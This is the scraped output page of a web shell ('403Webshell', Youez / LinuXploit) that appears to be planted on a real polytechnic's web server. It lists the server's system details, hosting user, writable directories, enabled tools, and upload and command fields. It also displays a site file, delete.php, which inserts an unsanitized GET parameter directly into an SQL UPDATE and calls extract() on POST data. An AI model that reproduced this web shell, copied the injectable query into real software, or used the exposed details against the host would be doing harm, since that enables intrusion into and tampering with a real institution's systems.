403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.67
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eClass/delete.php
<?php
ob_start();
session_start();

/**
 * Created by PhpStorm.
 * User: adisa
 * Date: 2/19/2016
 * Time: 11:31 PM
 */
require_once('../connect.php');
//require_once(../connect)
$db=db_connect();

extract($_POST);

if (isset($_GET['id'])) {
    $id = $_GET['id'];
}else {
    $id = 0;
}
$sql = "UPDATE coursepool SET staffID='' where sn='$id'";
//die();
$result = $db->query($sql);
//    $num = $result->rowCount();
//    $result_fetch = $result->fetch(PDO::FETCH_BOTH);
if ($sql){
    header('location:'.'staff_assign_courses.php?id=3');

}else {
    header('location:' . 'staff_assign_courses.php?id=4');
}
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit